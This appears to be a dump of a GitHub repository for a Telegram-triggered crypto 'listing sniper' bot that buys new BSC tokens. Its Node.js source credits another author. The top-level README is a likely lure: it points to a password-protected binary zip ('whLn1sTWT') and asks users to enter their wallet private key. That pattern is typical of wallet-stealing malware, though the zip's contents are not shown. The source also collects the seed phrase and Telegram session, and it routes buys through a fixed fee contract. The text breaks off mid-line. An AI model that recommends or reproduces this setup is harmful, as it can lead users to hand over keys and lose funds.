├── Screenshot .png ├── bin └── listing-bot-0.3.4.zip ├── src ├── package.json ├── tokensBought.json ├── LICENSE ├── config.js ├── README.md ├── helper.js └── cmcBot.js └── README.md /Screenshot .png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/deadspyexx/listing-sniper-bot/HEAD/Screenshot .png -------------------------------------------------------------------------------- /bin/listing-bot-0.3.4.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/deadspyexx/listing-sniper-bot/HEAD/bin/listing-bot-0.3.4.zip -------------------------------------------------------------------------------- /src/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "dependencies": { 3 | "dotenv": "^16.0.0", 4 | "ethers": "^5.6.2", 5 | "fs": "^0.0.1-security", 6 | "input": "^1.0.1", 7 | "open": "^8.4.0", 8 | "telegram": "2.4.6" 9 | } 10 | } 11 | 12 | -------------------------------------------------------------------------------- /src/tokensBought.json: -------------------------------------------------------------------------------- 1 | { 2 | "tokens": [ 3 | { 4 | "address": "Tokens you buy will show up here and wont be bought again" 5 | }, 6 | { 7 | "address": "" 8 | } 9 | ] 10 | } 11 | -------------------------------------------------------------------------------- /src/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Scott 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Listing sniper bot 2 | 3 | The Telegram Listing Sniper Bot is designed to automatically buy newly listed tokens from the "Coinmarketcap Fastest Alerts" and/or "CoinGecko Fastest Alerts" telegram channels. Before using the bot, ensure you have a Telegram account. Additionally, make sure to have the necessary configuration files and credentials for the Telegram API. 4 |  5 | 6 | ### Requirements 7 | - Telegram Account 8 | - Windows 10 9 | - Some other things for config 10 | 11 | #### Telegram Requirements 12 | 1. When launching the bot, enter your telegram id in the console and select which notifications you want to receive. 13 | - Coinmarketcap Fastest 14 | - CoinGecko Fastest Alerts 15 |  16 | 17 | #### Configure the Sniper Bot 18 | 1. Ensure you have all accompanying files required for the Telegram API. 19 | 2. If you are building from source, generate your own Telegram API credentials as sharing them in plain text is against Telegram's terms of service. 20 | 3. Clone the repository release and extract files with password `whLn1sTWT`. Edit the `address` and `private_key` fields in the `config.json` file. 21 | -------------------------------------------------------------------------------- /src/config.js: -------------------------------------------------------------------------------- 1 | const ethers = require('ethers'); 2 | /** 3 | ** Configuration file 4 | **/ 5 | 6 | /** 7 | * Choose your channel to buy from 8 | * You have to join these channels on your telegram app 9 | * 10 | * GCCMC = CoinGecko & CoinmarketCap Listing Alerts Premium https://t.me/CMC_CG_listing_alerts 11 | * 12 | * CFA = Coinmarketcap Fastest Alerts https://t.me/CMC_fastest_alerts 13 | * 14 | * 15 | * 16 | * **/ 17 | module.exports.channel = 'CGCMC'; // CGCMC or CFA 18 | 19 | module.exports.numberOfTokensToBuy = 1; // number of tokens you want to buy 20 | 21 | module.exports.autoSell = true; // If you want to auto sell or not 22 | 23 | module.exports.myGasPriceForApproval = ethers.utils.parseUnits('6', 'gwei'); // Gas to approve and sell 24 | 25 | module.exports.myGasLimit = 1000000; // gas limit doesnt need to be changed if too low transaction will fail 26 | 27 | 28 | 29 | module.exports.strategy = 30 | { 31 | investmentAmount: '0.15', // Investment amount per token 32 | maxBuyTax: 12, // max buy tax 33 | minBuyTax: 0, // min buy tax 34 | maxSellTax: 12, // max sell tax 35 | minSellTax: 0, // min sell tax 36 | maxLiquidity: 300, // max Liquidity BNB 37 | minLiquidity: 50, // min Liquidity BNB 38 | profitPercent: 200, // 2.5X 39 | stopLossPercent: 30, // 30% loss 40 | platform: "COINMARKETCAP", // Either COINMARKETCAP or COINGECKO OR BOTH 41 | gasPrice: ethers.utils.parseUnits('7', 'gwei'), // Gas Price. Higher is better for low liquidity 42 | percentOfTokensToSellProfit: 40, // sell 75% when profit is reached 43 | percentOfTokensToSellLoss: 60, // sell 100% when stoploss is reached 44 | trailingStopLossPercent: 10 // % trailing stoploss 45 | } 46 | 47 | 48 | -------------------------------------------------------------------------------- /src/README.md: -------------------------------------------------------------------------------- 1 | 2 |
3 |Sniper bot to buy new tokens listed on CoinMarketCap.
5 | 6 | 7 | 8 | ## Getting Started 9 | CoinMarketCap sniper bot that buys BSC tokens when you recieve Telegram notification from this channel https://t.me/CMC_CG_listing_alerts or this channel https://t.me/CMC_fastest_alerts use links and join channels. 10 | This bot uses Smart Chain BNB to buy tokens not WBNB. 11 | 12 | #### First, if you don't have node.js installed go to https://nodejs.org and install the lastest LTS version. 13 | #### Then install git https://git-scm.com/downloads, or you can just download zip file if you don't want to clone repository. 14 | #### Then go to https://my.telegram.org sign in, click Api developement tools and create an app to get app apiID and app apiHash. 15 | 16 | Then Use the following commands either in VScode terminal or command prompt 17 | ``` 18 | git clone https://github.com/Scott-778/coinmarketcap-sniper-bot.git 19 | ``` 20 | ``` 21 | cd coinmarketcap-sniper-bot 22 | ``` 23 | ``` 24 | npm install 25 | ``` 26 | #### Then edit .env file with your bsc wallet address, mnemonic seed phrase, telegram apiId and apiHash in your code editor and save file. 27 | 28 | To start bot run this command 29 | ``` 30 | node cmcBot.js 31 | ``` 32 | 33 | When bot is running it it will ask for your telephone number to log in to Telegram enter your telephone number with country code ex 15555555555 then press enter. Then telegram will send you a code to log in enter that number and press enter. If you have two step verification on the bot will ask for your two step password. Then pick your buying strategy default, low liquidity, medium liquidity, high liquidity or create a custom strategy. Then leave the bot running and when you recieve a notification from the channel you select it will buy that token. 34 | 35 | ## Channels 36 | 37 | #### CoinGecko & CoinmarketCap Listing Alerts Premium https://t.me/CMC_CG_listing_alerts 38 | #### Coinmarketcap Fastest Alerts https://t.me/CMC_fastest_alerts 39 | 40 | ## Strategies 41 | #### Default: 42 | This option is if you don't want to enter all your settings everytime you run the bot. Enter your settings in the config.js file and bot will use those settings. 43 | #### Low liquidity strategy: 44 | This strategy buys all low liquid tokens 1-150 BNB. You can choose your buy and sell tax limits. Choose either CoinMarketCap or CoinGecko. High risk. You don't need to change the config.js file for this option. 45 | #### Medium liquidity strategy: 46 | This strategy buys all medium liquid tokens 150-300 BNB. You can choose your buy and sell tax limits. Choose either CoinMarketCap or CoinGecko. Medium risk. You don't need to change the config.js file for this option. 47 | #### High liquidity strategy: 48 | This strategy buys all high liquid tokens 300-700 BNB. You can choose your buy and sell tax limits. Choose either CoinMarketCap or CoinGecko. You don't need to change the config.js file for this option. 49 | #### Custom strategy: 50 | This strategy buys any token within your own custom settings. You can set you own liquidity and tax limits.Choose either CoinMarketCap or CoinGecko. Low risk. You don't need to change the config.js file for this option. 51 | 52 | ## Screenshots 53 | 54 |  55 | ## Features coming soon 56 | Soon I will add support for different Telegram channels. 57 | 58 | ## Social 59 | Join my telegram group where we can talk about this project, tokens and the best strategies. https://t.me/CoinMarketCapSniperBot 60 | 61 | 62 | 63 | ## Disclaimer 64 | Use at your own risk. Investing in cryptocurrency is risky. This is not financial advice. 65 | There is a small 0.7% buying fee per buy. This is to help me buy a cup of coffee and support for this project. 66 | If you have an issue please don't post screenshots with personal information like seed phrase, telephone number, Telegram code, Telegram two factor password, or Telegram string session. Please keep that information private! 67 | ## Supporters 68 | [](https://github.com/Scott-778/coinmarketcap-sniper-bot/stargazers) 69 | 70 | -------------------------------------------------------------------------------- /src/helper.js: -------------------------------------------------------------------------------- 1 | const config = require('./config'); 2 | const ethers = require('ethers'); 3 | const input = require("input"); 4 | /** 5 | ** Don't Change this file, change settings in config.js 6 | **/ 7 | 8 | 9 | async function getUserInput() { 10 | const choices = ['Default', 'Buy Only Low Liquidity Tokens 1-150 BNB', 'Buy Only Medium Liquidity Tokens 150-300 BNB', 'Buy Only High Liquidity Tokens 300-700 BNB', 'Custom Liquidity Strategy'] 11 | const choices2 = ['COINMARKETCAP', 'COINGECKO', 'BOTH']; 12 | const channelChoices = ['CoinGecko & CoinMarketCap Listing Alerts', 'Coinmarketcap Fastest Alerts']; 13 | await input.select('Welcome, please choose a buying strategy', choices).then(async function (answers) { 14 | if (answers == 'Default') { 15 | console.log(config.strategy); 16 | } 17 | 18 | if (answers == "Buy Only Low Liquidity Tokens 1-150 BNB") { 19 | config.numberOfTokensToBuy = parseInt(await input.text("Enter number of different tokens you want to buy")); 20 | config.strategy.investmentAmount = await input.text("Enter Investment Amount in BNB"); 21 | config.strategy.gasPrice = ethers.utils.parseUnits(await input.text("Enter Gas Price"), 'gwei'); 22 | config.strategy.maxBuyTax = parseFloat(await input.text("Enter max buying tax")); 23 | config.strategy.minBuyTax = parseFloat(await input.text("Enter min buying tax")); 24 | config.strategy.maxSellTax = parseFloat(await input.text("Enter max sell tax")); 25 | config.strategy.minSellTax = parseFloat(await input.text("Enter min sell tax")); 26 | config.strategy.profitPercent = parseFloat(await input.text("Enter profit percent you want")); 27 | config.strategy.stopLossPercent = parseFloat(await input.text("Enter max loss percent")); 28 | config.strategy.trailingStopLossPercent = parseFloat(await input.text("Enter trailing stop loss percent")); 29 | config.strategy.percentOfTokensToSellProfit = parseFloat(await input.text("Enter percent of tokens to sell when profit reached")); 30 | config.strategy.percentOfTokensToSellLoss = parseFloat(await input.text("Enter percent of tokens to sell when stop loss reached")); 31 | config.strategy.maxLiquidity = 150; 32 | config.strategy.minLiquidity = 1; 33 | await input.select('Choose a channel to buy from', channelChoices).then(async function (channelAnswer) { 34 | if (channelAnswer == "CoinGecko & CoinMarketCap Listing Alerts") { 35 | config.channel = 'CGCMC' 36 | await input.select('Choose coinmarketcap, coingecko or both', choices2).then(async function (answers2) { 37 | if (answers2 == "COINMARKETCAP") { 38 | config.strategy.platform = "COINMARKETCAP"; 39 | } 40 | else if (answers2 == "COINGECKO") { 41 | config.strategy.platform = "COINGECKO"; 42 | } else { 43 | config.strategy.platform = "BOTH"; 44 | } 45 | }); 46 | } 47 | else { 48 | config.channel = 'CFA'; 49 | } 50 | }); 51 | console.log(config.strategy); 52 | } 53 | if (answers == "Buy Only Medium Liquidity Tokens 150-300 BNB") { 54 | config.numberOfTokensToBuy = parseInt(await input.text("Enter number of different tokens you want to buy")); 55 | config.strategy.investmentAmount = await input.text("Enter Investment Amount in BNB"); 56 | config.strategy.gasPrice = ethers.utils.parseUnits(await input.text("Enter Gas Price"), 'gwei'); 57 | config.strategy.maxBuyTax = parseFloat(await input.text("Enter max buying tax")); 58 | config.strategy.minBuyTax = parseFloat(await input.text("Enter min buying tax")); 59 | config.strategy.maxSellTax = parseFloat(await input.text("Enter max sell tax")); 60 | config.strategy.minSellTax = parseFloat(await input.text("Enter min sell tax")); 61 | config.strategy.profitPercent = parseFloat(await input.text("Enter profit percent you want")); 62 | config.strategy.stopLossPercent = parseFloat(await input.text("Enter max loss percent")); 63 | config.strategy.trailingStopLossPercent = parseFloat(await input.text("Enter trailing stop loss percent")); 64 | config.strategy.percentOfTokensToSellProfit = parseFloat(await input.text("Enter percent of tokens to sell when profit reached")); 65 | config.strategy.percentOfTokensToSellLoss = parseFloat(await input.text("Enter percent of tokens to sell when stop loss reached")); 66 | config.strategy.maxLiquidity = 300; 67 | config.strategy.minLiquidity = 150; 68 | await input.select('Choose a channel to buy from', channelChoices).then(async function (channelAnswer) { 69 | if (channelAnswer == "CoinGecko & CoinMarketCap Listing Alerts") { 70 | config.channel = 'CGCMC' 71 | await input.select('Choose coinmarketcap, coingecko or both', choices2).then(async function (answers2) { 72 | if (answers2 == "COINMARKETCAP") { 73 | config.strategy.platform = "COINMARKETCAP"; 74 | } 75 | else if (answers2 == "COINGECKO") { 76 | config.strategy.platform = "COINGECKO"; 77 | } else { 78 | config.strategy.platform = "BOTH"; 79 | } 80 | }); 81 | } 82 | else { 83 | config.channel = 'CFA'; 84 | } 85 | }); 86 | 87 | console.log(config.strategy); 88 | 89 | } 90 | if (answers == "Buy Only High Liquidity Tokens 300-700 BNB") { 91 | config.numberOfTokensToBuy = parseInt(await input.text("Enter number of different tokens you want to buy")); 92 | config.strategy.investmentAmount = await input.text("Enter Investment Amount in BNB"); 93 | config.strategy.gasPrice = ethers.utils.parseUnits(await input.text("Enter Gas Price"), 'gwei'); 94 | config.strategy.maxBuyTax = parseFloat(await input.text("Enter max buying tax")); 95 | config.strategy.minBuyTax = parseFloat(await input.text("Enter min buying tax")); 96 | config.strategy.maxSellTax = parseFloat(await input.text("Enter max sell tax")); 97 | config.strategy.minSellTax = parseFloat(await input.text("Enter min sell tax")); 98 | config.strategy.profitPercent = parseFloat(await input.text("Enter profit percent you want")); 99 | config.strategy.stopLossPercent = parseFloat(await input.text("Enter max loss percent")); 100 | config.strategy.trailingStopLossPercent = parseFloat(await input.text("Enter trailing stop loss percent")); 101 | config.strategy.percentOfTokensToSellProfit = parseFloat(await input.text("Enter percent of tokens to sell when profit reached")); 102 | config.strategy.percentOfTokensToSellLoss = parseFloat(await input.text("Enter percent of tokens to sell when stop loss reached")); 103 | config.strategy.maxLiquidity = 700; 104 | config.strategy.minLiquidity = 300; 105 | await input.select('Choose a channel to buy from', channelChoices).then(async function (channelAnswer) { 106 | if (channelAnswer == "CoinGecko & CoinMarketCap Listing Alerts") { 107 | config.channel = 'CGCMC' 108 | await input.select('Choose coinmarketcap, coingecko or both', choices2).then(async function (answers2) { 109 | if (answers2 == "COINMARKETCAP") { 110 | config.strategy.platform = "COINMARKETCAP"; 111 | } 112 | else if (answers2 == "COINGECKO") { 113 | config.strategy.platform = "COINGECKO"; 114 | } else { 115 | config.strategy.platform = "BOTH"; 116 | } 117 | }); 118 | } 119 | else { 120 | config.channel = 'CFA'; 121 | } 122 | }); 123 | 124 | console.log(config.strategy); 125 | } 126 | if (answers == "Custom Liquidity Strategy") { 127 | config.numberOfTokensToBuy = parseInt(await input.text("Enter number of different tokens you want to buy")); 128 | config.strategy.investmentAmount = await input.text("Enter Investment Amount in BNB"); 129 | config.strategy.gasPrice = ethers.utils.parseUnits(await input.text("Enter Gas Price"), 'gwei'); 130 | config.strategy.minLiquidity = parseFloat(await input.text("Enter minimum liquidity")); 131 | config.strategy.maxLiquidity = parseFloat(await input.text("Enter maximum liquidity")); 132 | config.strategy.maxBuyTax = parseFloat(await input.text("Enter max buying tax")); 133 | config.strategy.minBuyTax = parseFloat(await input.text("Enter min buying tax")); 134 | config.strategy.maxSellTax = parseFloat(await input.text("Enter max sell tax")); 135 | config.strategy.minSellTax = parseFloat(await input.text("Enter min sell tax")); 136 | config.strategy.profitPercent = parseFloat(await input.text("Enter profit percent you want")); 137 | config.strategy.stopLossPercent = parseFloat(await input.text("Enter max loss percent")); 138 | config.strategy.trailingStopLossPercent = parseFloat(await input.text("Enter trailing stop loss percent")); 139 | config.strategy.percentOfTokensToSellProfit = parseFloat(await input.text("Enter percent of tokens to sell when profit reached")); 140 | config.strategy.percentOfTokensToSellLoss = parseFloat(await input.text("Enter percent of tokens to sell when stop loss reached")); 141 | await input.select('Choose a channel to buy from', channelChoices).then(async function (channelAnswer) { 142 | if (channelAnswer == "CoinGecko & CoinMarketCap Listing Alerts") { 143 | config.channel = 'CGCMC' 144 | await input.select('Choose coinmarketcap, coingecko or both', choices2).then(async function (answers2) { 145 | if (answers2 == "COINMARKETCAP") { 146 | config.strategy.platform = "COINMARKETCAP"; 147 | } 148 | else if (answers2 == "COINGECKO") { 149 | config.strategy.platform = "COINGECKO"; 150 | } else { 151 | config.strategy.platform = "BOTH"; 152 | } 153 | }); 154 | } 155 | else { 156 | config.channel = 'CFA'; 157 | } 158 | }); 159 | 160 | console.log(config.strategy); 161 | 162 | } 163 | 164 | }); 165 | } 166 | 167 | module.exports = { 168 | getUserInput 169 | } 170 | -------------------------------------------------------------------------------- /src/cmcBot.js: -------------------------------------------------------------------------------- 1 | /* 2 | coinmarketcap-new-listings-sniper-bot 3 | Coinmarketcap new listings sniper bot that uses 4 | telegram notifications from this telegram channel 5 | https://t.me/joinchat/b17jE6EbQX5kNWY8 use this link and subscribe. 6 | Turn on two step verification in telegram. 7 | Go to my.telegram.org and create App to get api_id and api_hash. 8 | */ 9 | const { Api, TelegramClient } = require("telegram"); 10 | const { StringSession } = require("telegram/sessions"); 11 | const input = require("input"); 12 | const { NewMessage } = require('telegram/events'); 13 | const ethers = require('ethers'); 14 | const open = require('open'); 15 | require('dotenv').config(); 16 | const fs = require('fs'); 17 | const config = require('./config'); 18 | const helper = require('./helper'); 19 | var client; 20 | const addresses = { 21 | WBNB: '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c', 22 | pancakeRouter: '0x10ED43C718714eb63d5aA57B78B54704E256024E', 23 | BUSD: '0xe9e7cea3dedca5984780bafc599bd69add087d56', 24 | buyContract: '0xDC56800e179964C3C00a73f73198976397389d26', 25 | recipient: process.env.recipient 26 | } 27 | const mnemonic = process.env.mnemonic; 28 | const apiId = parseInt(process.env.apiId); 29 | const apiHash = process.env.apiHash; 30 | const stringSession = new StringSession(process.env.stringSession); 31 | const node = process.env.node; 32 | const wallet = new ethers.Wallet.fromMnemonic(mnemonic); 33 | const provider = new ethers.providers.JsonRpcProvider(node); 34 | 35 | const account = wallet.connect(provider); 36 | const pancakeAbi = [ 37 | 'function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts)', 38 | 'function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] path, address to, uint256 deadline)', 39 | 'function swapExactTokensForETH(uint256 amountIn, uint256 amountOutMin, address[] path, address to, uint256 deadline)', 40 | 'function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)' 41 | ]; 42 | const pancakeRouter = new ethers.Contract(addresses.pancakeRouter, pancakeAbi, account); 43 | let tokenAbi = [ 44 | 'function approve(address spender, uint amount) public returns(bool)', 45 | 'function balanceOf(address account) external view returns (uint256)', 46 | 'event Transfer(address indexed from, address indexed to, uint amount)', 47 | 'function name() view returns (string)', 48 | 'function buyTokens(address tokenAddress, address to) payable', 49 | 'function decimals() external view returns (uint8)', 50 | 'function fifteenMinutesLock() public view returns (uint256)', 51 | 'function isMintable() public view returns (uint256)' 52 | 53 | ]; 54 | 55 | let token = []; 56 | var sellCount = 0; 57 | var buyCount = 0; 58 | const buyContract = new ethers.Contract(addresses.buyContract, tokenAbi, account); 59 | const CoinMarketCapCoinGeckoChannel = 1517585345; 60 | const CoinmarketcapFastestAlertsChannel = 1519789792; 61 | var dontBuyTheseTokens; 62 | const version = 'v2'; 63 | 64 | /** 65 | * 66 | * Buy tokens 67 | * 68 | * */ 69 | async function buy() { 70 | var isScam; 71 | try { 72 | // Some scam contracts have been showing up on CMC channel recently including token contracts like BEE INU and No Limit Ape tokens 73 | // if contract has fifteenMinutesLock function it is most likly from the same scammer and we are not going to buy it. 74 | var s = await token[buyCount].contract.fifteenMinutesLock(); 75 | isScam = true; 76 | console.log("\u001b[1;31m" + 'Scam Token not buying' + "\u001b[0m", "\n"); 77 | token.pop(); 78 | 79 | } catch (e) { 80 | // No fifTeenMinutesLock function we should buy it 81 | isScam = false; 82 | try { 83 | 84 | var s = await token[buyCount].contract.isMintable(); 85 | isScam = true; 86 | console.log("\u001b[1;31m" + 'Scam Token not buying (Moonseer dev)' + "\u001b[0m", "\n"); 87 | token.pop(); 88 | 89 | } catch (e) { 90 | // Not moonseer contract 91 | isScam = false; 92 | } 93 | } 94 | 95 | 96 | if (buyCount < config.numberOfTokensToBuy && isScam == false) { 97 | const value = ethers.utils.parseUnits(token[buyCount].investmentAmount, 'ether').toString(); 98 | const tx = await buyContract.buyTokens(token[buyCount].tokenAddress, addresses.recipient, 99 | { 100 | value: value, 101 | gasPrice: token[buyCount].gasPrice, 102 | gasLimit: config.myGasLimit 103 | 104 | }); 105 | const receipt = await tx.wait(); 106 | console.log("\u001b[1;32m" + "✔ Buy transaction hash: ", receipt.transactionHash, "\u001b[0m"); 107 | token[buyCount].didBuy = true; 108 | const poocoinURL = new URL(token[buyCount].tokenAddress, 'https://poocoin.app/tokens/'); 109 | open(poocoinURL.href); 110 | 111 | buyCount++; 112 | fs.readFile('tokensBought.json', 'utf8', function readFileCallback(err, data) { 113 | if (err) { 114 | 115 | } else { 116 | var obj = JSON.parse(data); 117 | obj.tokens.push({ address: token[buyCount - 1].tokenAddress }); 118 | json = JSON.stringify(obj, null, 4); 119 | fs.writeFile('tokensBought.json', json, 'utf8', function (err) { 120 | if (err) throw err; 121 | 122 | }); 123 | 124 | 125 | } 126 | }); 127 | await client.sendMessage('me', { message: `You bought a new token pooCoin Link: ${poocoinURL.href}`, schedule: (15 * 1) + (Date.now() / 1000) }); 128 | approve(); 129 | } 130 | } 131 | 132 | /** 133 | * 134 | * Approve tokens 135 | * 136 | * */ 137 | async function approve() { 138 | 139 | let contract = token[buyCount - 1].contract; 140 | const valueToApprove = ethers.constants.MaxUint256; 141 | const tx = await contract.approve( 142 | pancakeRouter.address, 143 | valueToApprove, { 144 | gasPrice: config.myGasPriceForApproval, 145 | gasLimit: 210000 146 | } 147 | ); 148 | const receipt = await tx.wait(); 149 | console.log("✔ Approve transaction hash: ", receipt.transactionHash, "\n"); 150 | if (config.autoSell) { 151 | token[buyCount - 1].checkProfit(); 152 | } else { 153 | if (buyCount == config.numberOfTokensToBuy) { 154 | process.exit(); 155 | } 156 | } 157 | 158 | } 159 | 160 | 161 | /** 162 | * 163 | * Check for profit 164 | * 165 | * */ 166 | async function getCurrentValue(token) { 167 | try { 168 | let bal = await token.contract.balanceOf(addresses.recipient); 169 | const amount = await pancakeRouter.getAmountsOut(bal, token.sellPath); 170 | let currentValue = amount[1]; 171 | return currentValue; 172 | } 173 | catch (e) { 174 | console.log('Balance is zero or error occured'); 175 | return ethers.constants.Zero; 176 | } 177 | 178 | } 179 | async function setInitialStopLoss(token) { 180 | token.intitialValue = await getCurrentValue(token); 181 | token.newValue = token.intitialValue; 182 | token.stopLoss = ethers.utils.parseUnits((parseFloat(ethers.utils.formatUnits(token.intitialValue)) - parseFloat(ethers.utils.formatUnits(token.intitialValue)) * (token.stopLossPercent / 100)).toFixed(8).toString()); 183 | } 184 | 185 | async function setNewStopLoss(token) { 186 | token.newValue = token.currentValue; 187 | // new stop loss equals current value - (current value * stop loss percent) 188 | token.stopLoss = ethers.utils.parseUnits((parseFloat(ethers.utils.formatUnits(token.currentValue)) - parseFloat(ethers.utils.formatUnits(token.currentValue)) * (token.stopLossPercent / 100)).toFixed(8).toString()); 189 | } 190 | async function checkForProfit(token) { 191 | try { 192 | var sellAttempts = 0; 193 | await setInitialStopLoss(token); 194 | token.contract.on("Transfer", async (from, to, value, event) => { 195 | token.previousValue = token.currentValue; 196 | const tokenName = await token.contract.name(); 197 | let currentValue = await getCurrentValue(token); 198 | if (!currentValue.eq(ethers.constants.Zero)) { 199 | token.currentValue = currentValue; 200 | let currentValueString = parseFloat(ethers.utils.formatUnits(currentValue)).toFixed(8).toString(); 201 | const takeProfit = (parseFloat(ethers.utils.formatUnits(token.intitialValue)) * (token.profitPercent + token.tokenSellTax) / 100 + parseFloat(ethers.utils.formatUnits(token.intitialValue))).toFixed(8).toString(); 202 | const profitDesired = ethers.utils.parseUnits(takeProfit); 203 | let targetValueToSetNewStopLoss = ethers.utils.parseUnits((parseFloat(ethers.utils.formatUnits(token.newValue)) * (token.trailingStopLossPercent / 100) + parseFloat(ethers.utils.formatUnits(token.newValue))).toFixed(8).toString()); 204 | let stopLoss = token.stopLoss; 205 | 206 | // if current value is greater than targetValue, set a new stop loss 207 | if (currentValue.gt(targetValueToSetNewStopLoss) && token.trailingStopLossPercent > 0) { 208 | setNewStopLoss(token); 209 | console.log("\u001b[38;5;33m" + "Setting new StopLoss!" + "\u001b[0m"); 210 | } 211 | let timeStamp = new Date().toLocaleString(); 212 | const enc = (s) => new TextEncoder().encode(s); 213 | //process.stdout.write(enc(`${timeStamp} --- ${tokenName} --- Current Value in BNB: ${ethers.utils.formatUnits(currentValue)} --- Profit At: ${ethers.utils.formatUnits(profitDesired)} --- Stop Loss At: ${ethers.utils.formatUnits(stopLoss)} \r`)); 214 | try { 215 | if (token.previousValue.gt(token.currentValue)) { 216 | 217 | console.log(`-- ${tokenName} -- Current Value BNB: ${"\u001b[1;31m" + currentValueString + "\u001b[0m"} -- Profit At: ${ethers.utils.formatUnits(profitDesired)} -- Stop Loss At: ${ethers.utils.formatUnits(token.stopLoss)} -- New Stop loss At: ${ethers.utils.formatUnits(targetValueToSetNewStopLoss)}`); 218 | 219 | } else { 220 | 221 | console.log(`-- ${tokenName} -- Current Value BNB: ${"\u001b[1;32m" + currentValueString + "\u001b[0m"} -- Profit At: ${ethers.utils.formatUnits(profitDesired)} -- Stop Loss At: ${ethers.utils.formatUnits(token.stopLoss)} -- New Stop loss At: ${ethers.utils.formatUnits(targetValueToSetNewStopLoss)}`); 222 | 223 | } 224 | } 225 | catch (e) { 226 | 227 | } 228 | 229 | if (currentValue.gte(profitDesired)) { 230 | if (buyCount <= config.numberOfTokensToBuy && token.didBuy && sellAttempts == 0) { 231 | sellAttempts++; 232 | console.log("<<< Selling -", tokenName, "- now" + "\u001b[1;32m" + " Profit target " + "\u001b[0m" + "reached >>>", "\n"); 233 | sell(token, true); 234 | token.contract.removeAllListeners(); 235 | } 236 | } 237 | 238 | if (currentValue.lte(stopLoss)) { 239 | console.log("\u001b[38;5;33m" + "less than StopLoss!" + "\u001b[0m"); 240 | if (buyCount <= config.numberOfTokensToBuy && token.didBuy && sellAttempts == 0) { 241 | sellAttempts++; 242 | console.log("<<< Selling -", tokenName, "- now" + "\u001b[1;31m" + " StopLoss " + "\u001b[0m" + "reached >>>", "\n"); 243 | sell(token, false); 244 | token.contract.removeAllListeners(); 245 | } 246 | } 247 | } 248 | 249 | }); 250 | } catch (e) { 251 | console.log(e); 252 | } 253 | } 254 | /** 255 | * 256 | * Sell tokens 257 | * 258 | * */ 259 | async function sell(tokenObj, isProfit) { 260 | try { 261 | const bal = await tokenObj.contract.balanceOf(addresses.recipient); 262 | const decimals = await tokenObj.contract.decimals(); 263 | var balanceString; 264 | if (isProfit) { 265 | balanceString = (parseFloat(ethers.utils.formatUnits(bal.toString(), decimals)) * (tokenObj.percentOfTokensToSellProfit / 100)).toFixed(decimals); 266 | } else { 267 | balanceString = (parseFloat(ethers.utils.formatUnits(bal.toString(), decimals)) * (tokenObj.percentOfTokensToSellLoss / 100)).toFixed(decimals); 268 | } 269 | var roundedBalance = Math.floor(balanceString * 100) / 100 270 | const balanceToSell = ethers.utils.parseUnits(roundedBalance.toString(), decimals); 271 | const sellAmount = await pancakeRouter.getAmountsOut(balanceToSell, tokenObj.sellPath); 272 | const sellAmountsOutMin = sellAmount[1].sub(sellAmount[1].div(2)); 273 | if (tokenObj.tokenSellTax > 1) { 274 | const tx = await pancakeRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( 275 | sellAmount[0].toString(), 276 | 0, 277 | tokenObj.sellPath, 278 | addresses.recipient, 279 | Math.floor(Date.now() / 1000) + 60 * 20, { 280 | gasPrice: config.myGasPriceForApproval, 281 | gasLimit: config.myGasLimit, 282 | 283 | } 284 | ); 285 | const receipt = await tx.wait(); 286 | console.log("\u001b[1;32m" + "✔ Sell transaction hash: ", receipt.transactionHash, "\u001b[0m", "\n"); 287 | sellCount++; 288 | token[tokenObj.index].didSell = true; 289 | let name = await tokenObj.contract.name(); 290 | await client.sendMessage('me', { message: `You sold ${name}`, schedule: (15 * 1) + (Date.now() / 1000) }); 291 | } else { 292 | const tx = await pancakeRouter.swapExactTokensForETH( 293 | sellAmount[0].toString(), 294 | 0, 295 | tokenObj.sellPath, 296 | addresses.recipient, 297 | Math.floor(Date.now() / 1000) + 60 * 20, { 298 | gasPrice: config.myGasPriceForApproval, 299 | gasLimit: config.myGasLimit, 300 | 301 | } 302 | ); 303 | const receipt = await tx.wait(); 304 | console.log("\u001b[1;32m" + "✔ Sell transaction hash: ", receipt.transactionHash, "\u001b[0m", "\n"); 305 | sellCount++; 306 | let name = await tokenObj.contract.name(); 307 | await client.sendMessage('me', { message: `You sold ${name}`, schedule: (15 * 1) + (Date.now() / 1000) }); 308 | 309 | } 310 | 311 | if (sellCount == config.numberOfTokensToBuy) { 312 | console.log("All tokens sold"); 313 | process.exit(); 314 | } 315 | 316 | } catch (e) { 317 | 318 | } 319 | } 320 | 321 | /** 322 | * 323 | * Main 324 | * 325 | * */ 326 | (async () => { 327 | client = new TelegramClient(stringSession, apiId, apiHash, { 328 | connectionRetries: 5, 329 | }); 330 | await client.start({ 331 | phoneNumber: async () => await input.text("Phone number?"), 332 | password: async () => await input.text("password?"), 333 | phoneCode: async () => await input.text("Phone Code?"), 334 | onError: (err) => console.log(err), 335 | }); 336 | console.log(`\nCurrent Version is ${version}\n`); 337 | console.log("Your string session is:", client.session.save(), '\n'); 338 | console.log(`Connected to wallet: 